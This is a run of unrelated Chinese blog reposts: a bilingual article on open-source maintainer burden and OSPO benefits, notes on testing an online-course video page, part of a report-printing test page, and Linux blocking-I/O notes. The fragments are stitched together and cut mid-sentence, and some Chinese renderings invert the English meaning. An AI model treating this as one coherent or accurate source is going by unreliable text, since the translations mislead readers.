研究工具显示。Log4j有着440,000行代码，由近200名开发人员贡献了将近24,000行代码。其实与其他开源项目相比，这是一个庞大的开发团队。但是如果关注数据的话，就会发现超过70%的提交是仅仅靠五个人来完成的。 Log4j’s home page lists about a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”，来自DNS网络公司NS1的杰出工程师Jeremy Strech说，“因为通常来说，这没有直接的物质回报，也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说，开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点，他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时，随着项目的逐渐流行，对于维护方面的核心团队来说，他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”，Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目，所以很多维护人员选择干脆完全放弃他们的项目，这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统，就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 这个悲剧就是---当一种资源，无论是一个超限的公园还是一个开源项目，所有人都在使用而没有人贡献之时，最终都会因为过度使用和投入不足而崩溃坍塌。 This approach can save you money in the short term, but it can become a fatal flaw over time. Especially since open source software is everywhere, running everything. 这种方式可以在短期内为你节省资金，但随着时间的推移，它可能会变成项目里致命的缺陷。 Linux, for example, the open source operating system, runs on 96% of the world’s top 1 million servers, and 90% of all cloud infrastructure is on Linux. Not to mention that 85% of all smartphones in the world run Linux, in the form of the Android OS. 拿Linux来说，这个开源操作系统在全球前100万台服务器中运行率在96%以上，且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux，即Android操作系统。 Then there’s Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes — the list of ubiquitous open source projects goes on and on. 还有Java, Apache, WordPress, Cassandra, Hadoop, MySQL, PHP, ElasticSearch, Kubernetes--这些常见开源项目的列表还在逐渐增加着。 Without open source, much of today’s technical infrastructure would immediately grind to a halt. 如果没有开源，今天的大部分技术基础设施的建设也将会戛然而止。 “It is a real problem,” said Danil Mikhailov, executive director at Data.org, a nonprofit backed by the Mastercard Center for Inclusive Growth and The Rockefeller Foundation that promotes the use of data science to tackle society’s greatest challenges. “这是一个很现实的问题”，Data.org的执行董事Danil Mikhailov说，该组织是由万事达包容性发展中心和洛克菲勒基金会支持，旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 While nearly all organizations use open source software, only a minority contribute to those projects. Forty-two percent of participants in a survey released in September by The New Stack, Linux Foundation Research, and the TODO Group said tthey contribute at least sometimes to open source projects. 虽然几乎所有组织都在使用着开源软件，但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中，42% 的参与者表示，他们至少有时会为开源项目做出贡献。 The same study showed that only 36% of organizations train their engineers to contribute to open source. 而同一项研究表明，只有36%的组织会培训他们的工程师为开源作出贡献。 Individual companies should support projects that they use the most and are critical to their success, Mikhailov said: “If you use, you contribute.” 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目，Mikhailov认为：“如果你使用开源，你就应该为他做出属于你自己的贡献。” Part2OSPO Benefits:Less Tech Debt,Better Recruiting Participating in open source communities — especially when guided by an in-house open source program office (OSPO) — can help ensure the health of projects critical to your organization’s success, improve those projects’ security, and allow your engineers to have more impact in the projects’ development road map. 参与开源社区——特别是在内部开源项目办公室（OSPO）的指导下——不仅可以保证对组织成功至关重要项目的健康发展，还可以提高项目安全性，同时可以允许工程师在项目发展规划中起到更大的影响。 Say, for example, a company uses an open source tool and modifies it a little to make it better. If that improvement isn’t contributed back to the community, then the official version of the open source project will start to diverge from what the company is using 例如，如果一家公司使用了开源工具，并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区，那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “You start to grow technical debt because when the original source changes and you’ve got a different version. Those differences grow rapidly, compounding daily. It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant,” said Suzanne Ambiel, director, open source marketing and strategy at VMware. “当原始代码来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示，“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “The technical debt gets bigger and bigger and it gets very expensive for a company to manage.” “如果技术负债越来越多，那么公司的管理成本则会非常昂贵”。 Support for open source activity can also be a recruiting tool. “It’s really a talent magnet,” said Ambiel. “It’s one of the things that new hires look for.” 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁，”Ambiel说，“这也是新员工所寻求的“。 Some engineering managers might worry that open source contributions will detract from core product development, she said. Their rationale, she added, might run along the lines of, “I only have so much talent, and so many hours, and I need them to only work on things where I can measure and see the return on investment.” 她还提到，一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到，他们的理由有可能是这样的：“我只有有限的才华与时间，且我需要这些只做我认为可以度量且看到投资回报的事情。” But that attitude, she said, is shortsighted. Supporting employees who contribute to open source communities can build skills and develop talent, she said. 但她说，这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工，可以从中培养技能与增长才华。 Loris Degionni, chief technology officer and founder at Sysdig, a cloud security vendor, echoed this notion: “Finding employees who contribute to open source is a gold mine,” said. 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点：“找出为开源做出贡献的员工无疑就找到一座金矿，”他说。 These employees are more capable of delivering features a company wants to use and merge them into community-supported standards, he said. And in a war for talent, companies that embrace open source are more attractive to developers. 他认为，这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中，拥抱开源的公司也更受到开发人员的青睐。 “Lastly, open source is driven by a community of technical experts you may not be able to hire,” he said. “When employees actively contribute and collaborate with these experts, they’ll be better informed of best practices and bring them back to your organization. “最后，开源项目是由你可能无法聘请的技术专家社区推动的”，他说，“当员工积极参与并于这些专家合作时，他们将能更好地深入这些最佳实践，并将这些收获带回到你的组织之中。” “You start to grow technical debt because when the original source changes and you’ve got a different version … It doesn’t take long for you to be the proud user and maintainer of a one-of-a-kind open source project variant.” —Suzanne Ambiel, director, open source marketing and strategy, VMware “当原始数据来源发生变化且你所使用的是不同的版本时，你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。” — Suzanne Ambiel，VMware 开源营销和战略总监 “All of this should be rewarded — developers shouldn’t have to spend their free time honing their skills, as your company will quickly see benefits from their efforts.” “但是这一切终究不会白费--开发人员不应该把业余时间用在磨练他们的技能上，因为你的公司很快就会在他们的努力中看到好处。” An OSPO, Degionni suggested, can help achieve these goals, as well as help prioritize contributions and ensure collaboration. In addition, they can help provide governance that mirrors what companies would have for internally developed applications. Degionni认为，OSPO（开源计划办公室）可以帮助公司实现这些目标，以及帮助确定贡献的优先级并确保合作的进行。除此之外，他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “Members of the open source team are also in a position to be great internal evangelists for open source technologies, and act as bridges between the organization and the broader community,” he added. “开源团队的成员也可以成为开源技术的伟大内部布道师，并充当组织与更广泛社区之间的桥梁。”他补充道。 In the September survey from The New Stack, Linux Foundation Research and the TODO Group, nearly 53% of organizations with OSPOs said they saw more innovation as a result of having an OSPO, while almost 43% said they saw increased participation in external open source projects. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中，近 53% 的拥有 OSPO的组织表示，由于拥有了OSPO，他们看到了更多创新，而近 43% 的组织表示，他们在外部开源项目的参与度上有所增加。 Part3More OSPO Benefits:A Business Edge Contributing to open source communities doesn’t just help the communities, but the companies that contribute to them, said Tom Hickman, chief innovation officer at ThreatX, a cybersecurity firm. 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示，为开源社区做出贡献，不仅有助于社区，还有助于为社区做出贡献的公司。 “Growing the community of developers around a project helps the code base, and attracts more developers,” he said. “It can become a virtuous circle.” “围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与”，他说，“这可以变成一个良性循环。” Also, companies that contribute to open source projects get twice the productive value from their use of open source than companies that don’t, according to research by Harvard Business School. 此外，根据哈佛商学院的研究，为开源项目作出贡献的公司从使用开源的项目中获得的生产价值，是不参与开源项目公司的两倍。 Many of the biggest companies in the world are contributing to open source, said Chris Aniszczyk, chief technology officer at Cloud Native Computing Foundation. He pointed to the Open Source Contributor Index as a reference for exactly just how much companies are doing. Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说，世界上许多巨头公司都为开源作出了贡献。他还提到，开源贡献者的指数是作为公司是否有所作为的参考。 The tech giants dominate the list: Google, Microsoft, Red Hat, Intel, IBM, Amazon, Facebook, VMware, GitHub and SAP are the top 10 contributors, in that order. But there are also a lot of end users on the top 100 list, said Aniszczyk, including Uber, the BBC, Orange, Netflix, and Square. 科技巨头占据了这份榜单的主导地位：谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示，但也有很多终端用户公司进入前 100 名，包括 Uber、BBC、Orange、Netflix 和 Square。 “We’ve always known working in upstream projects is not just the right thing to do —it’s the best approach to open source software development and the best way to deliver open source benefits to our customers,” he said. “It’s great to see that IT leaders recognize this as well.” “我们一直知道，在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法，也是向客户提供开源福利的最佳方式“他说，“很高兴看到IT领导者们也认识到了这一点。” To contribute alongside these giants, companies need to have their own open source strategies, and having an open source program office can help. 为了和这些公司一起作出贡献，公司也需要有自己的开源策略，而拥有一个开源项目办公室则可以为其提供帮助。 “OSPOs provide a critical center of competency in a company when it comes to utilizing open source software,” he said. “在使用开源软件方面，OPSO为公司提供了一个至关重要的能力中心”他说。 It’s similar to the way that companies have security operations centers, he said. 这与公司拥有安全运营中心的方式类似，他说。 “Growing the community of developers around a project helps the code base, and attracts more developers. It can become a virtuous circle.” —Tom Hickman, chief innovation officer, ThreatX “围绕一个项目而发展的开发人员社区，有助于代码库的形成，并吸引更多的开发人员参与，这可以变成一个良性循环。” ——Tom Hickman，ThreatX 首席创新官 “If you don’t make the investment in a security team, you generally don’t expect your software to be secure or be able to respond to security incidents in a timely fashion,” he said. “如果你没有对安全团队进行相应投资，你通常是不会期望你的软件是安全的，也无法及时响应安全事件。”他说。 “The same logic applies to OSPOs and is why you see many leading companies out there such as Apple, Meta, Twitter, Goldman Sachs, Bloomberg, and Google all have OSPOs. They are ahead of the curve.” “同样的逻辑也适用于 OSPO，这就是为什么你会看到许多领先的公司，例如 Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” Support for open source activity within your organization can become a differentiator and marketing opportunity for software vendors. 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 According to a Red Hat survey released in February, 82% of IT leaders are more likely to select a vendor who contributes to the open source community. 根据Red Hat2月分发布的一项调查，82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 Respondents said that when vendors support open source communities they are more familiar with open source processes and are more effective if customers have technical challenges. 受访者表示，当供应商支持开源社区时，就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 But it’s not just software vendors who benefit. 但收益的不仅仅是软件供应商们。 According to September’s survey by The New Stack, Linux Foundation Research, and the TODO Group, 57% of organizations with OSPOs use them to further strategic relationships and build partnerships. 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查，57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 Mark Hinkle started an open source program office back when he worked at Citrix a decade ago. He pointed out how having an OSPO in-house benefited the company. 十年前，Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “For us the biggest job was to educate our employees who weren’t familiar with open source to get involved and be good community members,” he said. “We also provided guidance on how to make sure our IP didn’t enter projects without proper understanding and we made sure we didn’t incorporate open source that conflicted with our enterprise software licensing.” “对于我们来说，最大的工作是让不熟悉开源的员工学会并参与其中，成为优秀的社区成员”，他说，“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导，并确保我们没有与我们企业软件许可相冲突的开源项目合作。” The OSPO also helped Citrix identify strategic opportunities for the company to participate in open source projects and trade organizations like The Linux Foundation, he said. 他说，OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 Today, he’s the CEO and co-founder of TriggerMesh, a cloud native, open source integration platform. 如今，他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 There are some significant economic benefits to participating in the open source ecosystem, he said. 他说，参与开源系统对公司来说有着重大的经济效益。 “We participate in Knative to share the development of our underlying platform but we develop value-added services as part of our business,” he said. “By sharing the R and D for the platform, it gives us more resources to develop our own differentiated technology.” “我们参与Knative是为了分享我们基础底层平台的开发，但作为业务的一部分，我们也拥有相关的增值服务。”他说，“通过共享该平台的研发，这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4How to Get Started in Open Source Sixty-three percent of companies in the September survey from The New Stack, Linux Foundation Research and the TODO Group said that having an OSPO was very or extremely critical to the success of their engineering or product teams, up from 54% in the previous annual study. 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中，有 63% 的公司表示，拥有OSPO 对其工程或产品团队的成功至关重要，高于上一年度该项研究数据的 54%。 In particular, 77% said that their open source program had a positive impact on their software practices, such as improved code quality. 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响，例如提高了代码质量。 But companies can’t always contribute to every single open source project that they use. 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “First, thin the herd a little bit,” advised VMware’s Ambiel. “首先，节流一下”，VMware 的 Ambiel 建议道。 Companies should look at the projects that make the most sense for their use cases. This is an area where an OSPO can help set priorities and ensure technical and strategic alignment. 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 Then, developers should go and check out the projects themselves. Projects typically offer online documentation, often with contributor guides, governance documents, and lists of open issues. 之后，开发人员应该自己去了解一下。项目通常提供相关在线文档，一般包含贡献着指南、治理文档和未解决问题列表。 “For the projects that rise to the top of your strategic list, introduce yourself — say hello,” she said. “Go to the Slack channel or the distribution list and ask where they need help. Maybe they don’t need help and everything is good. Or maybe they can use a new person to review code.” “对于那些上升到你的战略清单顶端的项目，你可以介绍一下自己----打个招呼”，她说。“然后转到Slack频道或者分发列表，询问他们需要帮助的地方。也许他们不需要帮助，一切完好；又或者他们也有可能使用新人来审查核验代码。” An open source program office can not only help make a business case for contributing to the open source community, Ambiel said, but can help companies do it in a way that’s safe, secure and sound. Ambiel 说，开源项目办公室不仅可以帮助制定为开源社区做出贡献的商业案例，还可以帮助公司以安全、可靠和健全的方式来做这件事。 “If I work for a company and want to contribute to open source, I don’t want to accidentally disclose, divulge or undermine any patents,” she said. “An OSPO helps you make smart choices.” “如果我为一家公司工作，并想为开源做出贡献，我不想意外披露、泄露或破坏任何专利，”她说。“而OSPO可以帮助您做出明智的选择。” An OSPO can also help provide leadership and the guiding philosophy about supporting open source, she said. “It can provide guidance, mentorship, coaching and best practices.” 她说，OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Commitment to support open source has to start at the top, said Anaïs Urlichs, developer advocate at Aqua Security. Aqua Security的开发人员倡导者Anaïs Urlichs则认为，支持开源的承诺必须从高层开始。 “Too often,” she said, “companies do not value investment into open source, so employees are not encouraged to contribute to it.” 她说，“公司在多数时候往往不重视对开源的投资，所以员工自然而然不被鼓励对此作出贡献。” In those cases, employees with a passion for open source end up contributing during their free time, which is not sustainable. 在这些情况下，员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽，这对于开源的发展来说是不可持续的。 “If companies rely on open source projects, it is important to make open source contributions part of an engineer’s work schedule,” she said. “Some companies define a time percentage that employees can contribute to open source as part of their normal workday.” “如果公司对开源项目依赖度高，那么将开源贡献纳入工程师的日程安排是很重要的，”她说。“一些公司定义了员工可以为开源建设的时间百分比，将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司，Insight Partners 是本文提到的以下公司的投资者：Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南（企业篇）》正式发布，为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道｜瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年，是由志愿贡献于开源事业的个人成员，依 “贡献、共识、共治” 原则所组成，始终维持厂商中立、公益、非营利的特点，是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作，以 “立足中国、贡献全球” 为愿景，旨在共创健康可持续发展的开源生态，推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年，开源社转型为完全由个人成员组成，参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来，链接了数万名开源人，集聚了上千名社区成员及志愿者、海内外数百位讲师，合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接：https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...上添加 click 事件，点击调用开始学习方法（study）。 <li v‐if="teachplan_first.children!=null" v‐for="(teachplan_second, index) inteachplan_first.children"><i class="glyphicon glyphicon‐check"></i><a :href="url" @click="study(teachplan_second.id)">{ {teachplan_second.pname} }</a></li> 3、地址栏路由url变更 这里需要注意一个问题，在用户点击课程章节切换播放时，地址栏的 url 也应该同步改变为当前所选择的课程计划 id 4、在线学习按钮 将 learnstatus 默认更改为 1，这样就能显示出马上学习的按钮，方便我们后续的集成测试。 文件路径为 xc-ui-pc-static-portal/include/course_detail_dynamic.html 部分代码块如下 <script>var body= new Vue({ //创建一个Vue的实例el: "body", //挂载点是id="app"的地方data: {editLoading: false,title:'测试',courseId:'',charge:'',//203001免费,203002收费learnstatus: 1 ,//课程状态，1：马上学习，2：立即报名、3：立即购买course:{},companyId:'template',company_stat:[],course_stat:{"s601001":"","s601002":"","s601003":""} }, 简单的测试 访问在线学习页面：http://ucenter.xuecheng.com//learning/课程id/课程计划id 通过 url 传入两个参数：课程id 和 课程计划id 如果没有课程计划则传入0 测试项目如下： 1、传入正确的课程id、课程计划id，自动播放本章节的视频 2、传入正确的课程id、课程计划id传入0，自动播放第一个视频 3、传入错误的课程id 或 课程计划id，提示错误信息。 4、通过右侧章节目录切换章节及播放视频。 访问： http://ucenter.xuecheng.com//learning/4028e58161bcf7f40161bcf8b77c0000/4028e58161bd18ea0161bd1f73190008 传入正确的课程id、课程计划id，自动播放本章节的视频 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ef0xxym7-1595567273153)(https://qnoss.codeyee.com/20200704_15/image17)] 传入正确的课程id、课程计划id传入0，自动播放第一个视频 访问 http://ucenter.xuecheng.com//learning/4028e58161bcf7f40161bcf8b77c0000/0 识别出第一个课程计划的 id 需要注意的是这里的 chapter 参数是我自己在 study 函数里加上去的，可以忽略。 传入错误的课程id或课程计划id，提示错误信息。 通过右侧章节目录切换章节及播放视频。 点击章节即可播放，但是点击制定章节后 url 没有发生改变，这个问题暂时还没有解决，关注笔记后面的内容。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TOGdxwb4-1595567273158)(https://qnoss.codeyee.com/20200704_15/image20)] 完整的测试 准备工作 启动 RabbitMQ，启动 Logstash、ElasticSearch 建议把所有后端服务都开起来 启动 前端静态门户、启动 nginx 、启动课程管理前端 我们整理一下测试的流程 上传两个媒资视频文件，用于测试 进入到课程管理，为课程计划选择媒资信息 发布课程，等待 logstash 将数据采集到 ElasticSearch 的索引库中 进入学成网主页，点击课程，进入到搜索门户页面 搜索课程，进入到课程详情页面 点击开始学习，进入到课程学习页面，选择课程计划中的一个章节进行学习。 1、上传文件 首先我们使用之前开发的媒资管理模块，上传两个视频文件用于测试。 第一个文件上传成功 一些问题 在上传第二个文件时，发生了错误，我们来检查一下问题出在了哪里 在媒体服务的控制台中可以看到，在 mergeChunks 方法在校验文件 md5 时候抛出了异常 我们在 MD5 校验这里打个断点，重新上传文件，分析一下问题所在。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OpEMZGI8-1595567273166)(https://qnoss.codeyee.com/20200704_15/image23)] 单步调试后发现，合并文件后的MD5值与用户上传的源文件值不相等 方案1：删除本地分块文件重新尝试上传 考虑到可能是在用户上传完 视频的分块文件时发生了一些问题，导致合并文件后与源文件的大小不等，导致MD5也不相同，这里我们把这个视频上传到本地的文件全部删除，在媒资上传页面重新上传文件。 对比所有分块文件的字节大小和本地源文件的大小，完全是相等的 删除所有文件后重新上传，md5值还是不等，考虑从调试一下文件合并的代码。 方案2：检查前端提交的MD5值是否正确 在查阅是否有其他的MD5值获取方案时，发现了一个使用 windows 本地命令获取文件MD5值的方法 certutil -hashfile .\19-在线学习接口-集成测试.avi md5 惊奇的发现，TM的原来是前端那边转换的MD5值不正确，后端这边是没有问题的。 从前面的图可以看出，本地和后端转换的都是以一个 f6f0 开头的MD5值 那么问题就出现在前端了，还需要花一些时间去分析一下，这里暂时就先告一段落，因为上传了几个文件测试中只有这一个文件出现了问题。 2、为课程计划选择媒资信息 进入到一个课程的管理页面 http://localhost:12000//course/manage/baseinfo/4028e58161bcf7f40161bcf8b77c0000 将刚才我们上传的媒资文件的信息和课程计划绑定 选择效果如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-epKaqzCD-1595567273178)(https://qnoss.codeyee.com/20200704_15/image29)] 2、发布课程，等待 logstash 从 course_pub 以及 teachplan_media_pub 表中采集数据到 ElasticSearch 当中 发布成功后，我们可以从 teachplan_media_pub 表中看到刚才我们发布的媒资信息 再观察 Logstash 的控制台，发现两个 Logstash 的实例都对更新的课程发布信息进行了采集 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hTUve2ik-1595567273183)(https://qnoss.codeyee.com/20200704_15/image32)] 3、前端门户测试 打开我们的门户主站 http://www.xuecheng.com/ [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4wZe9R84-1595567273185)(https://qnoss.codeyee.com/20200704_15/image33)] 点击导航栏的课程，进入到我们的搜索门户页面 如果无法进入到搜索门户，请检查你的 xc-ui-pc-portal 前端工程是否已经启动 进入到搜索门户后，可以看到一些初始化时搜索的课程数据，默认是搜索第一页的数据，每页2个课程。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJ1AKoJb-1595567273187)(https://qnoss.codeyee.com/20200704_15/image34)] 我们可以测试搜索一下前面我们选择媒资信息时所用的课程 点击课程，进入到课程详情页面，然后再点击开始学习。 点击马上学习后，会进入到该课程的在线学习页面，默认自动播放我们第一个课程计划中的视频。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tcuLWnf2-1595567273193)(https://qnoss.codeyee.com/20200704_15/image37)] 我们可以在右侧的目录中选择第二个课程计划，会自动播放所选的课程计划所对应的媒资视频播放地址，该 播放地址正是我们刚才通过 Logstash 自动采集到 ElasticSearch 的索引信息，效果图如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cvi9Dr0Y-1595567273195)(https://qnoss.codeyee.com/20200704_15/image38)] 四、待完善的一些功能 课程发布前，校验课程计划里面是否包含二级课程计划 课程发布前，校验课程计划信息里面是否全部包含媒资信息 删除媒资信息，并且同步删除ES中的索引 在获取该课程的播放地址时校验用户的合法、 在线学习页面，点击右侧目录中的课程计划同时改变url中的课程计划地址 视频文件 19-在线学习接口-集成测试.avi 前端上传时提交的MD5值不正确 😁 认识作者 作者：👦 LCyee ，全干型代码🐕 自建博客：https://www.codeyee.com 记录学习以及项目开发过程中的笔记与心得，记录认知迭代的过程，分享想法与观点。 CSDN 博客：https://blog.csdn.net/codeyee 记录和分享一些开发过程中遇到的问题以及解决的思路。 欢迎加入微服务练习生的队伍，一起交流项目学习过程中的一些问题、分享学习心得等，不定期组织一起刷题、刷项目，共同见证成长。 本篇文章为转载内容。原文链接：https://blog.csdn.net/codeyee/article/details/107558901。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

..."; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 </script> </html> <!-- ★★★ 模式2 ★★★ --> <?php //如果有php运行环境，只需把该文件扩展名改成 .php，然后上传到web目录即可在真实服务器上测试 header("Access-Control-Allow-Origin: "); ?> <!DOCTYPE html> <head> <meta charset="utf-8" /> <title>康虎云报表系统测试</title> <style type="text/css"> output {font-size: 12px; background-color:F0FFF0;} </style> </head> <body> <div style="width: 100%;text-align:center;"> <h2>康虎云报表系统（Ver 1.3.0）</h2> <h3>打印测试（模式2）</h3> <div style="line-height: 1.5;"> <div style="width: 70%; text-align: left;"> <b>一、首先按下列步骤设置：</b><br/> 1、运行打印服务器；<br/> 2、按“停止”按钮停止服务；<br/> 3、打开“设置”区；<br/> 4、在“常用参数-->服务模式”中，选择“模式2”；<br/> 5、按“启动”按钮启动服务。 </div> <div style="width: 70%; text-align: left;"> <b>二、按本页的“打印”按钮开始打印。</b><br/> </div><br/> <input type="button" id="btnPrint" value="打印" /><br/><br/> <div style="width: 70%; text-align: left; font-size: 12px;"> 由于JavaScript在不同域名下访问会出现由来已久的跨域问题，所以正式部署到服务器使用时，要解决跨域问题。<br/> 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1-1-13,Kameido,Koto-ku,Tokyo","NO":2,"ID":2,"单价2（JPY）":null,"申报总价3（JPY）":null,"单价5（JPY）":null,"申报总价3（CNY）":null,"收货省份":null,"申报总价（JPY）":null,"申报总价（CNY）":null,"总计费重量":3.20,"收件人":"张无忌","总件数":13,"品名5":null,"品名4":null,"品名3":null,"品名2":null,"品名1":"纸尿片","参考号":null,"发件人":"NAKAGAWA SUMIRE 1","单位5":null,"单位4":null,"单位3":null,"单位2":null,"单位1":null,"件数5":null,"件数4":null,"件数3":3,"件数2":null,"件数1":10}]}]}'; if(window.console) console.log("reportData = " + _reportData); </script> <!-- 设置服务器参数 --> <script language="javascript" type="text/javascript"> var cfprint_addr = "127.0.0.1"; //打印服务器监听地址 var cfprint_port = 54321; //打印服务器监听端口 var _url = "http://"+cfprint_addr+":"+cfprint_port; </script> <!-- 编写回调函数用以处理服务器返回的数据 --> <script type="text/javascript"> / 参数： readyState: XMLHttpRequest的状态 httpStatus: 服务端返回的http状态 responseText: 服务端返回的内容 / var callbackSuccess = function(readyState, httpStatus, responseText){ if (httpStatus === 200) { //{"result": 1, "message": "打印完成"} var response = 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...阻塞状态，等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理，而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引，用于指向被打开的文件，所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数，用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候，如果这块数据已经存在于用户进程的页内存中，就直接从内存中读取数据。如果数据不存在，则先将数据从磁盘加载数据到内核缓冲区中，再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝，两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时，如果当前 FD 不可读，系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的，从内核缓冲区拷贝到用户空间，也是阻塞的，直到 copy complete，内核返回结果，用户进程才解除 block 的状态。 为了解决阻塞的问题，我们有几个思路。 1、在服务端创建多个线程或者使用线程池，但是在高并发的情况下需要的线程会很多，系统无法承受，而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询，在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O)，这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 